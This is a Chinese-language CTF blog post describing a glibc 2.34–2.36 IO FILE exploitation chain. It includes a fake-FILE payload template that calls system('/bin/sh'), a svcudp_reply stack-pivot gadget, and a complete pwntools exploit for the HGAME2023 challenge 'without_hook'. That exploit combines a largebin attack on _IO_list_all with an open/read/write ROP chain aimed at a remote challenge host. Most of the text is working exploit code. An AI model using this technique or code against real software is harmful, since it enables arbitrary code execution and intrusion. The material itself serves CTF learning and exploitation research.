本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。
触发利用的部分参考:https://tttang.com/archive/1845/,本文直接套用了 payload。
首先最好能够覆盖 IO_all_list 的值为 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| payload = flat( { 0x8:1, 0x10:0, 0x38:address_for_rdi, 0x28:address_for_call, 0x18:1, 0x20:0, 0x40:1, 0xe0:heap_base + 0x250, 0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, 0x288:libc_base+libc.sym["system"], 0x288+0x10:libc_base+next(libc.search(b"/bin/sh\x00")), 0x288+0x18:1 }, filler = '\x00' ) p.send(payload)
|
计算覆盖不到 IO_all_list,覆盖 stderr、stdout也都可以,只要能覆盖一次就算成功。
上述的payload可以用于触发任意命令执行,但是有的时候会遇到 seccomp 的问题,此时结合本方法需要达成 ROP,但仍然很便捷,触发 IO 到执行 ROP 中间没有太多其他东西,基本上一气呵成。
借用的 gadget 如下:
1 2 3 4 5 6 7
| pwndbg> disassemble svcudp_reply 0x00007f2195256f0a <+26>:mov rbp,QWORD PTR [rdi+0x48] 0x00007f2195256f0e <+30>:mov rax,QWORD PTR [rbp+0x18] 0x00007f2195256f12 <+34>:lea r13,[rbp+0x10] 0x00007f2195256f16 <+38>:mov DWORD PTR [rbp+0x10],0x0 0x00007f2195256f1d <+45>:mov rdi,r13 0x00007f2195256f20 <+48>:call QWORD PTR [rax+0x28]
|
由于这个方法触发的 IO 能够控制 rdi ,因此通过这个 gadget 可以控制 rbp 和 rax,在 rdi 中准确布置好结构后,令最后的 call 调用 leave;ret 的 gadget 即可完成栈迁移,一步到位,相当好用。
我在 HGAME2023 WEEK4 的 without_hook 中使用了这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import * context.log_level="debug" context(arch = "amd64") #p=process("./vuln") p=remote("week-4.hgame.lwsec.cn",30858) elf=ELF("./vuln") libc=elf.libc def add(index,size): p.recvuntil(">") p.sendline("1") p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Size: ") p.sendline(str(size))
def delete(index): p.recvuntil(">") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(index))
def edit(index,context): p.recvuntil(">") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Content: ") p.send(context)
def show(index): p.recvuntil(">") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(index))
add(0,0x518)#0 add(1,0x798)#1 add(2,0x508)#2 add(3,0x798)#3 delete(0)
show(0) libc_base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f6689476cc0-0x7f6689280000) print("leak_addr: "+hex(libc_base)) add(4,0x528)
edit(0,"a"*16) show(0) p.recv(16) heap=u64(p.recv(6).ljust(8,b'\x00')) heap_base=heap-(0x55e99882e290-0x55e99882e000) print("heap_addr: "+hex(heap_base)) recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000) edit(0,p64(recover)*2)
delete(2)
target_addr = libc_base+libc.sym["_IO_list_all"]-0x20 print(hex(target_addr)) target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-0x56193a0a2140) level_ret=0x000000000005591c+libc_base
edit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 + p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin attack
add(5,0x528)#5
gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000) level_ret=0x000000000050757+libc_base pop_rdi_gad=0x0000000000023eb5+libc_base pop_rdi=0x0000000000023ba5+libc_base pop_rsi=0x00000000000251fe+libc_base pop_rdx_rbx=0x000000000008bbb9+libc_base pop_rax=0x000000000003f923+libc_base syscall_addr=0x00000000000227b2+libc_base
def get_IO_str_jumps(): IO_file_jumps_addr = libc.sym['_IO_file_jumps'] IO_str_underflow_addr = libc.sym['_IO_str_underflow'] for ref in libc.search(p64(IO_str_underflow_addr-libc.address)): possible_IO_str_jumps_addr = ref - 0x20 if possible_IO_str_jumps_addr > IO_file_jumps_addr: return possible_IO_str_jumps_addr
address_for_rdi=libc_base address_for_call=libc_base payload = flat( { 0x8:1, 0x10:0, 0x38:heap_base+0xf50+0xe8, 0x28:gadget3, 0x18:1, 0x20:0, 0x40:1, 0xd0:heap_base + 0xf50, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, }, filler = '\x00' ) payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+(b"flag\x00\x00\x00\x00")+p64(heap_base+0xf50+0xe8+72) payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28) payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.sym['open']) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read']) payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])
print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000)) edit(2,payload)#2 p.recvuntil(">") p.sendline("5") p.interactive()
|
除了用于触发 IO 的一个模板,下面的内容其实主要是在构造 ROP,如您所见,这能方便我很多工作。因为很多时候用于触发 IO 是通过 largebin attack 完成的,在这种情况下,这个方法能够适用。